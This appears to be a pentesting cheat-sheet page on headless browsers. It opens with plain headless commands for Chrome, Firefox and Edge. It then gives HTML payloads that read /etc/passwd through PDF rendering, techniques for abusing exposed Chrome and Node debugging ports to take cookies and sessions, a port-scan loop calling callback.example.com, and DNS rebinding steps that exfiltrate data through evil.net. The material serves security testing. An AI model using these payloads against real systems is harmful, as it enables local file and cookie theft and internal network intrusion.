Skip to content

Headless Browser

A headless browser is a web browser without a graphical user interface. It works just like a regular browser, such as Chrome or Firefox, by interpreting HTML, CSS, and JavaScript, but it does so in the background, without displaying any visuals.

Headless browsers are primarily used for automated tasks, such as web scraping, testing, and running scripts. They are particularly useful in situations where a full-fledged browser is not needed, or where resources (like memory or CPU) are limited.

Summary

Headless Commands

Example of headless browsers commands:

  • Google Chrome

    google-chrome --headless[=(new|old)] --print-to-pdf https://www.google.com
    

  • Mozilla Firefox

    firefox --screenshot https://www.google.com
    

  • Microsoft Edge

    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu --window-size=1280,720 --screenshot="C:\tmp\screen.png" "https://google.com"
    

Local File Read

Target: google-chrome-stable --headless[=(new|old)] --print-to-pdf https://site/file.html

  • Javascript Redirect

    <html>
        <body>
            <script>
                window.location="/etc/passwd"
            </script>
        </body>
    </html>
    

  • Iframe

    <html>
        <body>
            <iframe src="/etc/passwd" height="640" width="640"></iframe>
        </body>
    </html>
    

Debugging Port

Target: google-chrome-stable --headless=new --remote-debugging-port=XXXX ./index.html

Tools:

  • slyd0g/WhiteChocolateMacademiaNut - Interact with Chromium-based browsers' debug port to view open tabs, installed extensions, and cookies
  • slyd0g/ripWCMN.py - WCMN alternative using Python to fix the websocket connection with an empty origin Header.

[!NOTE]
Since Chrome update from December 20, 2022, you must start the browser with the argument --remote-allow-origins="*" to connect to the websocket with WhiteChocolateMacademiaNut.

Exploits:

  • Connect and interact with the browser: chrome://inspect/#devices, opera://inspect/#devices
  • Kill the currently running browser and use the --restore-last-session to get access to the user's tabs
  • Dump cookies:
  • Stored data: chrome://settings
  • Port Scan: In a loop open http://localhost:<port>/json/new?http://callback.example.com?port=<port>
  • Leak UUID: Iframe: http://127.0.0.1:<port>/json/version
  • Local File Read: pich4ya/chrome_remote_debug_lfi.py
  • Node inspector --inspect works like a --remote-debugging-port
    node --inspect app.js # default port 9229
    node --inspect=4444 app.js # custom port 4444
    node --inspect=0.0.0.0:4444 app.js
    

[!NOTE]
The flag --user-data-dir=/path/to/data_dir is used to specify the user's data directory, where Chromium stores all of its application data such as cookies and history. If you start Chromium without specifying this flag, you’ll notice that none of your bookmarks, favorites, or history will be loaded into the browser.

Network

Port Scanning

Port Scanning: Timing attack

  • Dynamically insert an <img> tag pointing to a hypothetical closed port. Measure time to onerror.
  • Repeat at least 10 times → average time to get an error for a closed port
  • Test random port 10 times and measure time to error
  • If time_to_error(random_port) > time_to_error(closed_port)*1.3 → port is opened

Consideration:

  • Chrome blocks by default a list of "known ports"
  • Chrome blocks access to local network addresses except localhost through 0.0.0.0

DNS Rebinding

  • nccgroup/singularity - A DNS rebinding attack framework.

  • Chrome will make 2 DNS requests: A and AAAA records

    • AAAA response with valid Internet IP
    • A response with internal IP
  • Chrome will connect in priority to the IPv6 (evil.net)
  • Close IPv6 listener just after first response
  • Open Iframe to evil.net
  • Chrome will attempt to connect to the IPv6 but as it will fail it will fallback to the IPv4
  • From top window, inject script into iframe to exfiltrate content

References